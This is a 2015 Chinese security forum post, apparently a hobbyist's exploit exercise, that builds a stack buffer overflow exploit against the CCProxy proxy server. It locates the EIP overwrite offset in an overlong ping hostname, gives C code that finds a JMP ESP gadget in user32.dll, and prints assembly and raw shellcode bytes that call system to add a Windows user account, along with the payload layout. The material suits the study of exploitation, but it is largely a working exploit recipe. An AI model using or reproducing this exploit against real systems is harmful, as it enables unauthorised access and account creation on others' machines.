首页
社区
课程
招聘
[分享]自己的漏洞利用小尝试
发表于: 2015-7-7 16:23 2561

[分享]自己的漏洞利用小尝试

2015-7-7 16:23
2561
寻找溢出点:
CCPROXY 是一款代理服务器软件,通过主机机向代理端发送命令,然后代理端向网络发送命令并且将结果返回给主机。本机与代理端的连接是通过 TCP 连接的。寻找溢出点的方法如下:首先用 telent 登陆 CCPROXY。
然后通过发送 ping 命令,主机名用超长的字符串进行填充。

如果没有发生溢出, 代理端会返回 Host not found ,在命令行里输入比较长的字符 串比较麻烦,可以先使用在记事本里输入好字符串然后粘入命令行,测试当字 符串有 2000 个 a 时,我们可以发现内存地址呗61616161改变了,即a的ascii码,即该软件存在栈溢出漏洞。

发现发生了溢出,这时需要对溢出点进行准确的定位,通过填充不同的字符串的方法可以找到 ping 后面跟的主机名的 1013 到 1016 这 4 个字节就应当是覆盖到的 EIP 的地址。
这时便可以构造 shellcode了。首先,打开 Ollydbg 对代码进行跟踪,首先判断出应当是在回显 Host not found的时候发生溢出,因此在 WSAsend(004124F2)处下断点,然后单步执行,我们在运行过程中可以观察到运行call 00426B20时返回了字符串,栈内容变化,发生了溢出,我们可以看到运行后 BUF 区中存放的是 Proxy Telnet>CCProxy Telnet Service Ready.Telnet>,Host not found:后面是填充的字符串,而后者就会将其数据覆盖在返回地址上,发生溢出运行我们的执行函数。

这里我选择使用调用JMP ESP的方式来实现执行代码的运行,当然我们这里还是需要得到一个指令jmp esp的地址,通过程序可以简单的实现,如下所示:

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
        BYTE* ptr;
        int position,address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;

        handle=LoadLibrary(DLL_NAME);

        if(!handle)
        {
                printf(" load dll erro !");
                exit(0);
        }

        ptr = (BYTE*)handle;
       
        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                        {
                                //0xFFE4 is the opcode of jmp esp
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n",address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
}
由于每个程序中都加载了user32.dll链接库,所以我们可以放心调用其中的执行指令,得到计算结果,这里我们选用0x77d29353作为调用示例。

ShellCode 编写
Shellcode 的目的是在目标主机上创建一个用户,在本机创建用户的命令是
system(“net user 用户名 /add”);因此需要在对方主机上调用 system 这个函数,而在 windows 中 system 这个函数在包含在 msvcrt.dll 这个动态链接库中的,经过查看可以发现 CCPROXY 软件中会加载 msvcrt.dll 这个动态链接库。
首先,先创建这样的一份代码
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
push ebp ;保存 ebp, esp-4
mov ebp,esp ;给 ebp 赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入 0, esp-4,
;作用是构造字符串的结尾\0 字符
sub esp,0ch
mov byte ptr [ebp-10h],6eh;n
mov byte ptr [ebp-0fh],65h;e
mov byte ptr [ebp-0eh],74h;t
mov byte ptr [ebp-0dh],20h;空格
mov byte ptr [ebp-0ch],75h;u
mov byte ptr [ebp-0bh],73h;s
mov byte ptr [ebp-0ah],65h;e
mov byte ptr [ebp-09h],72h;r
mov byte ptr [ebp-08h],20h;空格
mov byte ptr [ebp-07h],61h;a
mov byte ptr [ebp-06h],20h;空格
mov byte ptr [ebp-05h],2fh;/
mov byte ptr [ebp-04h],61h;a
mov byte ptr [ebp-03h],64h;d
mov byte ptr [ebp-02h],64h;d
lea eax,[ebp-10h] ;
push eax ;串地址作为参数入栈
mov eax, 0x77bf93c7;
call eax ;调用 system
}
}
然后, 在 Visual C++6.0 中的调试状态下点击 Go To Disassembly 查看它的机器代码,得到ShellCode如下所示:
83 EC 0C C6 45 F0 6E C6 45 F1 65 C6 45 F2 74 C6 45 F3 20 C6 45 F4 75 C6 45 F5 73 C6 45 F6 65 C6 45 F7 72 C6 45 F8 20 C6 45 F9 61 C6 45 FA 20 C6 45 FB 2F C6 45 FC 61 C6 45 FD 64 C6 45 FE 64 8D 45 F0 50 B8 C7 93 BF 77 FF D0
执行JMP ESP的过程中,而此时的代码为 retn 0c 由于此时程序会返回并且堆栈弹出 C 个字节即, JMP ESP 后会跳转到后面4+C个字节处执行。因此在运行代码之前的12个字节都为无用字节,接下来才是正确的ShellCode,构造的 ping 主机名应当如下:
1012 个字节的无用指令(可以放置一些特殊的数据用于提醒) +jmp
Esp的调用地址(第 1013 个字节到第 1016 个)+使用的shellcode+最后的填充字节 (主要是为了将回显的字符串给覆盖),构造的输入指令。

我在对应retn 0c处设置断点,判断返回地址,对应的堆栈处指向了地址77D29353,实现正确的返回地址的调用。其中堆栈内容,为我们输入的正确的指令。

继续运行,可以跳转到我们编写的自定义代码。
最终,在控制台下输入 net user 可以看到成功添加了一个 a 用户,漏洞利用成功。

小菜一枚

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//